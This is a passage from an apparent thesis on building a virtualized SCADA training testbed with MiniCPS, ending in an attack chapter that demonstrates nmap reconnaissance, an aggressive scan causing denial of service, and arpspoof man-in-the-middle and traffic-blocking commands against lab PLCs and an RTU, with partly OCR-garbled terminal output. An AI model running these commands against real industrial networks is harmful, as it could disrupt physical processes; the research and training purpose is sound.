be measured by time, more concrete, we will use the number of commands and the time
required to deploy the scenario. We expect a result that is not dependent of the number
of devices, i.e., O(1).

The second requirement, flexibility, is the property that indicates how easily the soft-
ware can be adapted to new requirements or changes during its development period or
after the software is deployed. For the this research, we are using a framework to develop
the testbed. We consider that the flexibility of the developed scenario is the same as the
one provided by the framework.

To measure this requirement we will use the metrics defined by Shen and Ren [41]. In
their work, they define the variables flexible points and flexible distance, used to calculate
the flexible capacity, which indicates the degree of flexibility of any software quantita-
tively. After the calculation of the flexible capacity, we can classify the flexibility level of
the software between Self-adaptive, Low-level user, High-level user and Developer-level,
depending on the user skills required to perform the changes. The Developer-level can
be subdivided between low, average and high skilled. We expect a flexibility level below
average-developer level.

The second qualitative requirement is that the system should be useful in terms of
usability and research. Our goal is to create a testbed for training. Therefore, if the testbed
does not support multiple users, the performance is so low it does not allow a normal
execution or the scenarios cannot be expanded and modified, the solution will not pass
our expectations. In this case, to evaluate this qualitative requisite, we have defined three
more quantitative requirements: scalability, portability and performance.

We will measure the performance by taking runtime statistics of the system, such
as CPU usage, RAM memory usage, network traffic and read/write disk operations. For
this task, we will perform the same experiments to different testbed solutions, e.g., our
MiniCPS based solution and the GRFICS solution; and to different configurations, e.g., dou-
bling the resources allocated for the testbed or changing the number of devices of the
testbed, in order to see the improvement. We cannot define a quantitative expectation,
but we require that the system does not overload.

The scalability will be measures in a similar way, performance tests will be conducted
after adding more subnets and concurrent users to the analyzed scenario. Our expecta-
tions again require that the system do not overload.

Additionally, the portability will be measured as an extra feature. This will show whether
the testbed can be running under any operating system, which can increase the probabil-
ity of researchers to use our solution in future investigations. To measure this capability,
we will try to install and run our solution under different operating systems. The expected
result would be that the testbed solution can be executed on different OS.

4.2 Design

In this section we will discuss different topics related to the design of the testbed, first
we will discuss the different implementation approaches for the testbed, e.g., virtualiza-
tion, simulation, hardware-in-the-loop; then, we will review the current literature and
frameworks looking for similar solutions which can be used to develop our testbed and
reduce the workload of creating everything from the scratch; and finally, we will define
the architecture of the proposed scenario and the possible advantages and limitations.
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4.2.1 Implementation approaches

In the work published by Qassim et al. [37], the authors classify the testbeds by the way
their components are implemented, i.e., physical replication testbed, where the testbed
is a clone of the original industrial control system; software simulated testbed, by using
simulations based on software to replicate the physical processes; virtualization testbed,
using software to emulate the hardware parts; hardware-in-the-loop (HIL), by using hard-
ware components to create the simulation; or a hybrid combination of them.

In the study, the authors also defend that there should be a relation between the imple-
mentation of testbed and the requirements. Depending on our requirements or attacks,
a different testbed implementation should be chosen, i.e., to discover new vulnerabili-
ties, real systems should be used; to perform training exercises, virtualization is the best
option.

For example, if the purpose of the testbed is to validate intrusion detection mecha-
nisms, it is correct to think about using a hardware-in-the-loop testbed, which provides
high fidelity and allows to change the simulation output easily [3]; or if the purpose is to
test the capacity of a system against DDoS attacks we can use software simulated testbed
to emulate the malicious input [14].

We are looking for a testbed that can be used to train users on hacking SCADA systems.
We can focus on the network hacking, the software hacking or the hardware hacking; but
for our development, we cannot include the hardware, as it is very expensive. Therefore,
a virtualized testbed is the approach that fits us the best, as it might be configured to
contain the network and the software logic.

This aligns with the cloud testbed developed by Stites et al. [43]. Besides, using tax-
onomies which relate how the testbed is implemented and the feasible attacks on it, we
can find where will be more effective to focus. For example, if we use a virtualized open
source testbed, attacks which involve small delays in the communications or affect a spe-
cific software product are not possible, based on the real hardware limitations.

According to this, for this research the testbed implementation approach is going to
be a virtualized one. This way, it is possible to easy deploy, replicate and measure the
performance of the scenarios. We won't focus on the fidelity of the communications,
as it requires expensive hardware-in-loop components and real SCADA systems are more
sensible to external interactions.

4.2.2 Framework review

Before starting developing our testbed from the scratch, we have to consider the existing
solutions. Some of the frameworks we found are MiniCPS, presented by Antonioli et al.
[8, 6, 7], which is a virtualized framework fully based in python to easy build and deploy
testbeds; GRFICS, by Formby et al. [16], which uses several virtual machines to simulate
the different processes and devices; ICS TestBed Framework published by Maynard et al.
[25], another virtual framework but based in Java; or a customized one developed in a
Master thesis by R. Brooks [12], using a hybrid approach mixing simulation and virtualiza-
tion.

These frameworks vary a lot and have positive and negative features. In the Table 1we
can compare the technologies used by the different frameworks as well as the implemen-
tation approach used.

After the initial review, we are going to use the framework MiniCPS due to several
reasons. First, because it is an open source framework, mandatory requirement to con-
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Table 1 - Comparative table between the different frameworks reviewed.

MiniCPS GRFICS ICS TestBed | Customized
Framework development
Physical Python Python Java ISERinks
process
Field devices Python openPLC Java openPLC
Network Python VirtualBox Vagrant Modbus Mas-
ter Simulator
(MMS)
Development | Virtualization | Virtualization | Virtualization | Hybrid
approach

tribute the community. Second, it produces full virtualized testbeds, it does not need any
hardware or any third-party virtualization program. Third, it is all written in python, sim-
plifying the development and making it, in theory, cross-platform compatible. Fourth, it
is possible to create and deploy simple testbeds with basic developer skills.

To compare with the selected framework, we will use GRFICS. GRFICS uses VirtualBox
to virtualize the network and uses free standard software to run the devices, i.e., OpenPLC
for the PLC or ScadaBR for the HMI. We believe that this approach gives some advantages,
because it uses standard products; but it reduces drastically the scalability and flexibility.

For the scalability, it is reduced because it requires to run a new scenario to add more
users, i.e., launching a second set of virtual machines. For the flexibility, to edit the GRFICS
scenario it is required knowledge of the standard software that it uses.

The reasons to discard the other frameworks vary. The ICS Testbed Framework was
discarded because the protocols and field devices promoted by the authors were just par-
tially implemented, missing many features. The customized development was not consid-
ered due to the hybrid model and complexity of the solution in terms of standardization.

4.2.3 Scenario architecture

To design the scenario architecture we need to define again the requirements. We want a
simple design in order to not overload the system; however, it should allow different users
to be connected concurrently. Initially, this was not taken into account when developing
the first iteration, which acted as the initial proof of concept.

Our scenario in the first iteration, based on the water tower from the work of Morris
et al. [31], had the topology of the Figure 6. This scenario was as small as possible and will
allow only one user to use it.

The process in the scenario is simple: a water tank is filled and emptied. The tank has
two valves to pump water in and out. These valves are actuators, represented as two
PLCs, because their only function is receiving a signal to open or close the water flow. The
tank also has a sensor, represented as an RTU, which measures the value of the water
level and controls the actuators based on different thresholds. The SCADA server receives
periodic values from the RTU regarding the status of the system, then, it sends them to
the historian and the HMI for visualization. The SCADA server can also send commands to
the RTU to manually open and close the valves. These commands can be set from the HMI
by choosing the execution mode, e.g., automatic execution, manual execution by closing
the first pump.

The attacker will be inside the field devices network, simulating a previous breach into
the infrastructure, accessing the industrial traffic. The HMI is out of the SCADA network,
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Figure 6 - The topology of the first iteration was very simple, used to validate the testbed works

meaning that it does not receive or produce any industrial communication.

4.3 Development

In this section we will describe the testbed development process. During the research,
different iterations have been developed, some of them failing and some succeeding.

As defined above, the first iteration contained the basic features of the scenario to
make it work. To share information between the different devices within the scenario we
use two mechanisms: the industrial network and SQL tables.

Through the industrial network we are able to send traffic using the industrial protocol
EtherNet/IP. Mininet by default uses the Ethernet protocol, and the same time, MiniCPS
is a framework build over mininet. Although it is possible to use different protocols, there
are limitations when trying to implement these protocols. In Antonioli et al. [7], the au-
thors use a partial implementation of the Modbus protocol, however now it is deprecated
and not functional.

EtherNet/IP is an industrial network protocol that adapts the Common Industrial Pro-
tocol (CIP) to the standard TCP/IP stack. It can be deployed over any TCP/IP supported
data link or physical layer, such as IEEE 802.3 (Ethernet). EtherNet/IP performs at level
session and above, i.e., level 5, 6 and 7 of the OSI model [11]. It is possible to capture the
traffic using a packet sniffer, such as Wireshark.

The SCADA systems monitor a physical process, which works independently. The phys-
ical process shows what is really happening and the HMI displays what the system thinks
is happening. To keep the states of the system, there are two different SQL tables, which
store separate processes.

They are called real and hmi. The first table, real, stores the information regarding
what is happening with the real physical process, and it is only modified by this process.
The RTU reads this table to interact with the water tank to read the water level value.

The second table, hmi, is used by the HMI device to display the data that arrives to
the SCADA. Due to the fact that the HMI should be out of the industrial network, this
device needs to be out of the mininet virtualized network. The easiest way to develop
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this behavior was to isolate the HMI and use this database to interact with the SCADA
server. In the practice, the SCADA gets the value from the RTU and writes it in this table;
from the other side, the HMI uses this table to read the status and set the execution mode
in the SCADA.

By comparing these two tables it is possible to see what is happening on the system
and the effect of the attacks. For example, we can perform attacks to impact the physical
process, we can try to spoof the data which is displayed in the HMI visualization, or we
can do attacks focused on both things.

The historian is simply a SQL database which logs the status of the system. The SCADA
server is in charged of this process, so only the table hmi is stored.

The proof of concept of the testbed working can be seen in the Figures below. In Fig-
ure 7, the main process to launch the testbed (run.py) is executed. This file creates the
network and connects the devices based on the designed topology (topology.py).

In Figure 8, the different python files (containing the source code of each device) have
been executed from each node, i.e., the rtu.py code is running in the RTU node, as so on.
In the Figure 8, four terminals are open; on the left side we can find the PLCO and PLC2,
right-up is the RTU and right-down is the physical process, updating the values constantly.

terTower$ sudo python3 run.py
lity

g
-> plc@ plc2 rtu scada
-> attacker plc2 rtu scada

-> attacker plce rtu scada
-> attacker plc@ plc2 scada
scada -> attacker plc@ plc2 rtu
*** Results: 0% dropped (20/20 received)
Devices started
mininet> net
attacker attacker-ethe:si-etha4
plcO plcO-etho:s1-ethl
plc2 plc2-eth@:s1-eth3
rtu rtu-ethe:si-ethz
scada scada-eth@:s2-eth2
s1 lo: sl-ethl:plcB-eth® si-eth2:rtu-eth® si-eth3:plc2-eth® si-eth4:attacker-eth® si-eth5:s2-eth1
s2 lo: s2-ethl:si-eth5 s2-eth2:scada-ethe
cd
mininet> |

Figure 7 - Mininet automatically creates the network based on the topology designed

For purposes of better visualization and usability, we have developed a graphic inter-
face emulating the HMI. This graphic interface can be seen in Figure 9 and accessed via
browser.

In the second iteration, the network topology is expanded, allowing to add more users
to the testbed based on the available subnets. This way, we can measure the performance
variations depending on the number of users. In Figure 10 the topology of this second
iterationis displayed. This design s still simple but due to the multiple subnetsit is possible
to add concurrent users.

After the iteration, is was assessed that the change is not trivial, because it is neces-
sary to add every device of the subnet separately and re-configure the existing devices to
communicate properly between them. It is necessary to double the existing logic, instead
of working with the subnet as a black-box.

For example, in our case we have a subnet with five devices connected to a central
switch which is connected to the SCADA server. We need to create five new devices to
replicate the subnet (changing their IP addresses), another device to replicate the SCADA
logic and edit the topology configuration to deploy the devices using MiniCPS.

28



DEBUG MY001:0 E HYo01:0
DEBUGL  (b™ HY001:0 0K N P201:2
. None) cada flag(thisisaflag):2
DEBUG2 b MY001:0 [21: "OK'\n" 1 1o[DEBUG] Hater level: 0.84407
DEBUG4 2 2 lo LIT101:1 [0.844074074074034]1
[DEBUG] PLCO - Close valve @ [HARNING] Water level over soft high -> close mv001 and d
H ininl
b" HY001:0 "OK' \n"lvar HY001:0 = [21: 0K’
By P201:2 [131: 'OK'
HY0o1:0 == [2]: '0K"\n" {\"3' flag(thisisaflag):2 [21: 'Status & [OJD
1':::[DEBUG] Hater level: 0.78241 ;
[DEBUG] PLCO - Close valve e LIT101:1 [0.782407407407367
1var flag(thisisaflag):2 [2]: ’Status 5 [OJD
b" HY001:0 'OK'\n" 1yar [DEBUG] Hater level: 0.74130 |

lvar LIT101:1 [0.7412962962962562
My001:0 == [2]: '0K"\n" 1lvar flag(thisisaflag):2 [2]1: 'Status 5 [OJD

var[DEBUG] Hater level: 0.70704 1

Lvar LIT101:1 [0.707037037036997

{\'2: flag(thisisaflag):2 [21: 'Status 5 [OT,

v
--lva

r[I]EBUG] Hater level: 0.66593

B 17T101:1 <= 10.665925925925885 |

alvar

alvar[DEBUG] New level: 0.70019 delta: -0.00685

alvar[pEBUGT Hater Tank outflow
:R::[DEBUG] New level: 0.69333 delta: -0.00685

. o ras e 2EYATIDEBUGT Hater Tank outflow
p2o1:2 7= D12 PO PUOERUGT New level: 0.68648 delta: -0.00685

plco L[DEBUG] Hater Tank outflow
plcz [DEBUGI New level: 0.67963 delta: .00685

. 'Ok '\ Ftu -[DEBUG] Hater Tank outflow
p201:2 0K CadalDEBUG] New level: 0.67278 delta: ~0.00685

*** RLDEBUG] Hater Tank outflow
DevicINERBUG] New level: 0.66593 delta: 00685

mt't“"[DEBUG] Hater Tank outflow
plco [DEBUGT New level: 0.65907 delta: -0.00685

_— YOK ' A" [DEBUGI MHater Tank outflow

B ES B lc2

p201:2 1T TOK*AN"PLC2 T PBUGT New level: 0.65222 delta: -0.00685

. _— . ' nv scadalDEBUG] Hater Tank outflow
pavt:2 Bd: POK T ™ SIDEBUGT New level: 0.64537 delta: —0.00685

s2 lo[DEBUG] Hater Tank outflow

€0 [DEBUG] New level: 0.63852 delta: .00685
minin[g

Open pump

P201:2 == [11: '0K"\n"

Open pump

P201:2 K'\:n"

Open pump

Open pump

Figure 8 - The python processes run on their respective host.

“)> C @ 127.0.0.1 N

Start DOS - Failed MITM or Aggresive nmap

l Water level: 506 liters

| —

Figure 9 - A graphic interface has been implemented for a better visualization
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A high number of write operations were found in the scenario, causing the system
to reduce its performance. This was caused by the SQL tables, so we tried to fix this in
the third iteration. This solution included a MQTT broker, invisible to the users, to use
fast queues in memory instead of SQL tables. We tried to use this MQTT broker to send
messages from the SCADA device (inside of the simulated network) to the HMI (runningin
a browser outside of the simulated network). In Figure 11 this ideal topology is displayed.
However, this iteration failed.
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Figure 11 - The topology of the third iteration adds a MQTT middleware to reduce read operations.

To connect the simulated network to the outside it is necessary to enable an interface
from the host machine and then run a process which redirects all the traffic using the new
protocol, e.g., HTTP or MQTT messages. Unfortunately, this could not be done for the
MQTT broker and the iteration was rejected.

The issue of the fail came from the design of MiniCPS. Strictly speaking, mininet is a
collection of scripts that allow to create and deploy a virtualized network consisting in
switches and hosts, and it was mainly created to use the Ethernet/IP protocol.
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MiniCPS encapsulates the logic of mininet to simplify its use, causing that when it
comes to add a different middleware device or connect the virtualized network to real
networks (e.g., to the Internet), mininet breaks.

4.3.1 Issues found

During the development of the testbed, several limitation have been encountered. In this
section we will enumerate and comment these issues to clarify the impact of them in the
requirements and the final solution.

e The framework MiniCPS tries to encapsulate all the devices in the mininet simu-
lated network, simplifying the internal use of mininet. This limits the capability of
improvement of the framework. For example, mininet contains mechanisms to con-
nect the simulated network to external services from the host or a remote machine
in order to increase its performance. As seen in the third iteration, it was not pos-
sible to implement these features without breaking the scenario.

e MiniCPS became abandonware in 2017, containing outdated libraries for the MOD-
BUS implementation and python2 code. The project was updated to python3in the
first iteration, however, it was not possible to patch all the libraries, so the MOD-
BUS protocol implementation is no longer working. Besides, there is a lack of in-
dustrial protocols implemented for this framework. Only EtherNet/IP is partially
implemented and MODBUS does not work because of the outdated libraries.

¢ The topology implementation in MiniCPS presents some design issues. To add more
users, it was necessary to double the existing logic, by re-creating every device in
the scenario, assigning them different IP addresses and re-configuring the existing
devices to communicate between them.
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5 Attacks

In this chapter we are going to define the attacks that will be implemented in our sce-
nario. Through this, we achieve two goals: first, that our development is valid in terms of
usability, we can perform the basic attacks so it can used for training; and second, some
of the later evaluation processes will be done while executing these attacks, for example
the bandwidth usage, so we can measure the defined metrics while the scenario is run by
the users.

For this task, we will use two different taxonomies for attacks in industrial control sys-
tems. We will include a special section for denial of service attacks, where we will discuss
whether to include or not these kind of attacks in our scenario and the consequences of
that to the overall testbed.

The taxonomy proposed by Zhu et al. [50] splits the attacks on SCADA systems in three
categories. Attacks on the hardware, attacks on the software and attacks on the com-
munication stack. In this classification we can find attacks such as SQL injection or buffer
overflow, in the software section; weak or lack of access control, in the hardware section;
or different OSI layers like network, transport or application, in the communication stack
section.

Depending on the test network, their interconnections and the devices present, these
attacks gain more or less relevance; for example, in our design, the testbed is virtualized
and it does not connect to real hardware or software. This means that the attacks based
on the communication stack are the only category which is valuable for us. Thus, focusing
in the attacks on the communication stack we find four different types of attacks:

o Network layer attacks, based mainly on reconnaissance techniques like host or port
discovery, and man-in-the-middle attacks (based on ARP spoof).

e Transport layer attacks, based on flooding attacks.

e Application layer attacks, defining attack on specific protocols, e.g., modbus, which
does not have any security measures like traffic encryption.

e Attacks on implementation of protocols, showing different cases where the imple-
mentation of a ICS protocol contained vulnerabilities that were exploited.

This taxonomy helps us to get a first impression of the possible attacks we will be able
to implement in our scenario. Network layer and application layer attacks seem the most
reasonable, because the vulnerabilities are part of the protocols themselves and their
specifications or configurations. Finding a vulnerability within the implementation of any
protocol would be a big time consuming task.

In the research presented by Morris and Gao [32], the authors provide another clas-
sification focused only in attacks based on the communication stack, splitting 17 different
attacks into four sub-classes: reconnaissance, response and measurement injection, com-
mand injection and denial of service. This taxonomy provides more detailed specifications
of the attacks. For their work, the authors use modbus as the protocol of research, how-
ever some of the attacks are also valid for the Ethernet/IP protocol, used in our scenario.

e Reconnaissance Reconnaissance attacks gather control system network informa-
tion, map the network architecture, and identify the device characteristics such as
manufacturer, model number, supported network protocols, system address, and
system memory map. In this sub-class, the authors mention three different attacks:
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- Address Scan, based on the protocol MODBUS/TCP, consists of exploiting the
feature that the protocol uses the same IP addressing schema than TCP net-
works. Thus, this attack can be extended to our Ethernet/IP case.

- Function Code Scan, based on the protocol MODBUS, consists of scanning the
supported function codes of the protocol. This attack cannot be extended in
our case, as it is protocol dependant.

- Device identification Scan, consists of extracting the fingerprint of the devices
located in the network, such as vendor name or product code. We can use
this attack as it is again based on the IP stack.

New reconnaissance techniques are still under development, for example, in Nie-
dermaier et al. [34], the authors develop a passive network monitor technique using
Media Access Control (MAC) addresses.

Response and measurement The authors split the response and measurement class
into two sub-classes depending on the internal knowledge of the audited system;
however, for the purpose of this research we will consider both as the same class.
These attacks can be implemented in our scenario, as Ethernet/IP works similarly
as MODBUS.

ICS commonly use polling techniques to constantly monitor the state of a remote
process. Polling takes the form of a query transmitted from the client to the server
followed by a response packet transmitted from the server to the client. The state
information is used to monitor the process, to store process measurements, and as
part of the control loops which takes actions based upon the process state.

Many ICS network protocols lack authentication features to validate the origin of
packets. This enables attackers to capture, modify, and forward response packets
which contain sensor reading values. In addition, these protocols often take the
first response packet to a query and reject subsequent responses as erroneous. This
enables to craft response packets and use timing attacks to inject the responses into
a network when they are expected by a client.

Command injection The authors divide the command injection class into three sub-
classes, depending on the content injected; however, for the purpose of this re-
search we will consider all three as the same class. This attacks can be implemented
in our scenario, as Ethernet/IP works similarly as MODBUS.

Command injection attacks inject false control and configuration commands into
a control system. The potential impacts of malicious command injections include
interruption process control, interruption of device communications, unauthorized
modification of device configurations, and unauthorized modification of process set
points.

In ICS, either the human operators, which occasionally intercede with supervisory
control actions, or the remote terminals, which control the physical process au-
tonomously, send commands to perform actions in this physical process. Typically
actuators, such as switches or valves, connected to physical processes are con-
nected to a digital or analog output connected to a remote terminal unit (RTU).

For example, a valve may have an ON/OFF mechanism which is changed by writing
avalue to a bit ain a register on a remoter terminal unit (RTU). Such registers can be
manipulated by network protocol write commands. An attacker who understands
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a device'’s implementation specifics including a memory map can craft a command
to alter actuator states.

Command injection attacks, as well as response and measurement attacks, are part
of the techniques used by recent vulnerability scanners, as the one presented by
Antrobus et al. [9].

¢ Denial of service Denial of Service (DoS) attacks against ICS attempt to stop or de-
grade the proper functioning of some part of the cyber physical system to effectively
take down the whole system. These attacks can target the cyber system or the phys-
ical system:

- Attacks against the communication links, attempt to disable programs run-
ning on the network endpoints which control the system, log data, and govern
communications. An example would be volumetric attacks, by sending high
volumes of traffic to a network endpoint, attackers attempt to overwhelm the
capacity of the endpoint or the network itself.

- Attacks against the physical system vary from the manual opening or closing of
valves and switches to destruction of portions of the physical process which
prevent operation. An example of this attack would be the Stuxnet worm,
which worked by speeding up and turning off continuously the turbines of
several nuclear plants of Iran, causing major degradation on them and forcing
their removal.

To summarize from the taxonomies explained above, we will used communication
stack based attacks in our testbed, as they are the most accurate attacks we can simu-
late. From this class, we will implement different sub-classes:

e Reconnaissance attacks
e Man-in-the-middle attacks

e Response and measurement

Command injection

Denial of service

5.1 Discussion on denial of service attacks

We want to make a special reference to the denial of service attacks and discuss why
would it be a good or bad option to include such attacks in the testbed. As seen in the
Morris and Gao taxonomy, denial of service attack can affect the whole system even if the
attack is located in a concrete subnet. For this reason we need to assess the impact of this
attacks within our scenario.

During the research it was seen that a simple network scan (configured to high speed)
was able to considerably degrade the performance of the testbed, delaying the communi-
cation or even disrupting it, between the different devices of the network, not permitting
the valves to open/close when necessary.

This behavior can be proved by using the following nmap command from the attacker:
nmap -sS -Pn -T4 -pO- -d3 RTU
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This command uses the template T4, called aggressive mode. Initially, the attack starts
sending around 700 packets/s and approximately 33.000 bytes/s; flooding the network
and blocking any legit traffic. After some seconds, the tool dynamically adjusts its perfor-
mance, reducing it to 100 packets/s and 4.500 bytes/s; this approach doesn’t deny the
service but it still slows down the response time of the devices. In Figure 12 it is possible
to see how the tool has to adjust the RTT value due to the excessive traffic sent.

root@ICS:"IICS—project/IHSIuaterTouer# nmap -sS -Pn -p0- -T4 10.168.1.20

Starting Nmap 7.60 ( https://nmap.org )

RTTYAR has grown to over 2.3 seconds, decreasing to 2.
RTTYAR has grown to over 2.3 seconds, decreasing to 2.
RTTYAR has grown to over 2.3 seconds. decreasing to 2.
RTTYAR has grown to over 2.3 seconds. decreasing to 2.

RTTYAR has grown to over 2.3 seconds. decreasing to 2.
RTTYAR has grown to over 2.3 seconds. decreasing to 2.
RTTYAR has grown to over 2.3 seconds, decreasing to 2.
RTTYAR has grown to over 2.3 seconds, decreasing to 2.
RTTYAR has grown to over 2.3 seconds, decreasing to 2.

]
]
0
0
RTTYAR has grown to over 2.3 seconds. decreasing to 2.0
0
0
]
]
]

Figure 12 - It is possible to cause a denial of service attack using nmap.

For this reason, our testbed is not prepared to handle volumetric attacks without any
special software like firewalls or IPS. Although, adding this extra devices or configurations
might degrade the system, due to its runtime limitations. Therefore, we have take for
granted that denial of service attacks based on flooding the network are not feasible.

Anyway, it is still possible to perform different denial of service attacks by abusing dif-
ferent features. For example, due to the Ethernet/IP protocol, using man-in-the-middle
attacks through ARP poison would help us to deny the traffic to a single machine.

5.2 Proofs of Concept

In this section we are going to show the proof of concept of the defined attacks on the
testbed. This attacks will be possible to any user connected to the scenario within the
correspondent subnet. Each user of the testbed will have access to the attacker machine,
located in the same subnet as the field devices (PLCs and RTU). This allows direct inter-
action with these devices to perform network layer attacks and application layer attacks,
once the traffic is intercepted.

5.2.1 Reconnaissance

The first group of attacks we will tackle in this research are the reconnaissance attacks.
These attacks, as seen in the Morris and Gao taxonomy, gather control system network
information, map the network architecture and identify the device characteristics.

For this task we will use the tool nmap [23]. Nmap ("Network Mapper") is a free and
open source utility for network discovery and security auditing. Nmap uses raw IP pack-
ets in novel ways to determine what hosts are available on the network, what services
(application name and version) those hosts are offering, what operating systems (and OS
versions) they are running, what type of packet filters/firewalls are in use, and dozens of
other characteristics.

First, we can conduct a network discovery scan using the command below. The option
-n indicates nmap not to resolve the hosts using DNS and the option -sP forces a Ping scan.
In Figure 13 all the devices from the field device subnet (10.168.1.0/24) are listed, i.e., PLCO,
PLC2, RTU and the attacker machine; as well as the SCADA server, located outside of the
subnet.
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nmap -sP -n 10.168.1.0/24

oot@ “/ICS-project/IHS /waterTower# nmap —sP -n 10.168.1.0/24

Starting Nmap 7.60 ( https://nmap.org )

map scan report for 10.168.1.10¢

ost is up (0.018s latency).

AC Address: 00:1D:9C:C6:A0:60 (Rockwell Automation)
map scan report for 10.168.1.20

ost is up (-0.065s latency).

AC Address: 00:1D:9C:C7:B0:71 (Rockuwell Automation)
map scan report for 10.168.1.30

ost is up (0.28s latency).

AC Address: 00:1D:9C:C8:BC:46 (Rockwell fAutomation)
map scan report for 10.168.1.150

ost is up (0.0018s latency).

AC Address: 1E:CD:DD:7C:DD:FO (Unknown)

map scan report for 10.168.1.77

ost is up.

map done: 256 IP addresses (5 hosts up) scanned in 5.24 seconds
ool -~ - ol o ol oo

Figure 13 - It is possible to discover the different devices in the network using nmap.

Then, we can conduct a port scan using the command below. The option -sS indicates
nmap to use a TCP SYN scan and the option -p to indicate the port to scan. In this case
we have omitted the rest of the ports. The TCP SYN scan does not complete the TCP
handshake, it sends only the first SYN packet and then closes the connection with a RST
packet. This reduces the traffic generated and increases the speed of the scan. In Figure 14
the output of the scan shows that the port is open and it is running an EtherNetIP portocol.

nmap -sS -p 44818 -n 10.168.1.20

root@ICS:"/ICS-project/IHS /uaterTower# nmap -s$ -p 44818 -n 10.168.1.20

Starting Nmap 7.60 ( https://nmap.org )
Nmap scan report for 10.168.1.20
Host is up (0.0039s latency).

PORT STATE SERYICE
44818/tcp open EtherNetIP-2
MAC Address: 90:1D:9C:C7:B0:71 (Rockwell Automation)

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

Figure 14 - It is possible to retrieve information regarding the port using ICS protocols.

5.2.2 Man-in-the-Middle

The second group of implemented attacks are part of the network layer ones. In this
case we put attention in the man-in-the middle attacks. As the Ethernet/IP protocol is
encapsulates ICS traffic within the IP packets, it follows the same rules and protocols.
Thus, using ARP spoofing it is possible to impersonate the local address of any host inside
the network.

This attack is based on the ARP protocol, used by the machines within the subnet to
advertise their local MAC and IP addresses. Using the tool arpspoof [15] we can force any
field device to believe that the attacker IP is the RTU one. Therefore, the field device will
send all the traffic to us, where we can sniff it and forward back to the RTU, so the system
keeps its functionality.
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Using the commands below we can perform a man-in-the-middle attack between the
RTU and the PLC2. The first command forces the forwarding of IP packets and the second
one performs the ARP poisoning. The option -r forces the ARP spoof for both targets. In
Figure 15 we can see the process of poisoning the two hosts.

echo 1 | sudo tee /proc/sys/mnet/ipv4/ip_forward
arpspoof -i attacker-ethO -r -t 192.168.1.20 192.168.1.30

:"/ICS-pro ject /IHS fwaterTower/attacks/demo# arpsp;of -i attacker-eth0 -r -t 10.168.1.20 10.16

.30 is-at
.20 is-at
.30 is-at
.20 is-at
.30 is-at
.20 is-at
.30 is-at
.20 is-at raataa:aa:

0:1d:9c:c/7:b0:71 0806 42: arp reply 10.168.
0:1d:9c:c8:bc:46 0806 42: arp reply 10.168
0:1d:9c:c7:b0:71 0806 42: arp reply 10.168
0:1d:9c:c8:bc:46 0806 42: arp reply 10.168
0:1d:9c:c7:b0:71 0806 42: arp reply 10.168
0:1d:9c:c8:bc:46 0806 42: arp reply 10.168
0:1d:9c:c7:b0:71 0806 42: arp reply 10.168
0:1d:9c:c8:bc:46 0806 42: arp reply 10.168.

RRrRRRRRA

Figure 15 - Using arpspoof we can poison the RTU and PLC2 to sniff the traffic between them.

Afterwards, using the tool Wireshark [13] we can capture the packets sent between
the RTU and the PLC2. The tool is able to recognise the ICS protocol traffic. In Figure 16
the gamified flag sent from the RTU to the PLC2 is displayed.

10.168.1.30 10.168.1.20 TCP ) 65 44818 - 45602 [ACK] Seq Ack=29 Wln 43520

TCP 66 45602 — 44818 [ACK] Seq=113 Ack= 75 Win=424¢

ptions: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
TCP Option - No-Operation (NOP)

Figure 16 - We can see the flag sent from the RTU to the PLC2 using Wireshark.

5.2.3 Denial of service

Coming back from to the denial of service topic, it is possible to perform such attacks in our
scenario without flooding the network and affecting the rest of the system. For example,
using the same mechanisms as the ones explained for the man-in-the-middle attack, we
can poison the traffic between two hosts but never redirect the packets, thus, causing a
denial of service attack for the poisoned device.

Using the commands below we can perform this denial of service attack. The first com-
mand blocks the forwarding of IP packets and the second one poisons the traffic between
the RTU and the PLCO. This way, the messages sent by the RTU with the commands for
opening or closing the valve will not be received by the PLCO. In Figure 17 we can see the
ARP spoof attack in the left windows and the physical process, not changing its value, in
the right window.

echo 0 | sudo tee /proc/sys/mnet/ipv4/ip_forward
arpspoof -i attacker-ethO -t 192.168.1.20 192.168.1.10
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reply 10.168.1.10 is-
0806 42: reply 10.168.1.10 i
0806 42: reply 1.10 1

0806 42: reply "Node: 51" {root)

0806 42: reply i : [DEBUGT level: 0.29296 delta: 0.00000

0806 42: reply 10.168.1.10 i : : L[DEBUG
0806 42: reply 10.168.1.10 i : : L[DEBUG

0806 42: reply 10.168.1.10 i : LDEBUG]

0806 42: reply 10.168.1.10 : [DEBUG]

0806 42: reply 10. i : LDEBUG

0806 42: reply 10. i : LDEBUG]

0806 42: reply 10.168.1.10 i : : LDEBUG] level:

0806 42: reply 10.168.1.10 i : : LDEBUG] level:

0806 42: reply 10.168.1.10 : LDEBUG] level

0806 42: reply 10.168.1.10 : LDEBUG] level:

0806 42: reply 10. i . LDEBUGT level:

0806 42: reply 10. i : LDEBUGT level:

0806 42: reply 10.168.1.10 i : : LDEBUG] level:

0806 42: reply 10.168.1.10 : : LDEBUG] level:

0806 42: reply : LDEBUGI level

0806 42: reply 10. : L[DEBUG level:

0806 42: reply 10. i : L[DEBUG level:

0806 42: reply i : LDEBUG] level: 0.29296 delta:

171 0806 42: reply [ |

Figure 17 - We can perform a denial of service attack using ARP spoof.

5.2.4 Response and measurement

Response and measurement attacks are based on the data send within the SCADA net-
work to pass information to the different devices or to store it and display it. We can
implement two different attacks in this section: monitoring the system behavior and in-
jecting malicious values.

For a better visualization we use a graphic interface, simulating the HMI, accessible
through the web browser. This interface will help displaying the data received by the
operators and the control system. If we are able to spoof data through our attacks, it will
be shown here.

As explained in the previous chapter, the data in the scenario is managed using two
different database tables: the real process table, which stores the real values of what is
happening to the physical process and it is only updated by this physical process and the
actuators (the PLCs); and the hmi table, which stores the values that the SCADA receives
from the RTU and then are used for the graphic visualization.

Therefore, we focus on this second process: the RTU sending data to the SCADA server.
By monitoring the network traffic we will be able to infer the real behavior of the phys-
ical process. In Figure 18 the Ethernet/IP protocol is dissected and the data sent can be
extracted. In this case, the value extracted is OxcaD0010085eb513f.

*attacker-etho
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

P emPARR QewEssHaaafE

(W]eip.

No. Time Source Destination Protocol Length info
54..282.70.. 10.168.1.20 10.168.1.150 CIP CM 140 Unconnected Send: 'LIT101:1' - Service (0x4d)
54..283.21.. 10.168.1.20 10.168.1.150 CIP 110 Success: Service (0x4d)

[ | 1 1 140 Unconnected Send: 'LIT101:1" Service (0x4d)
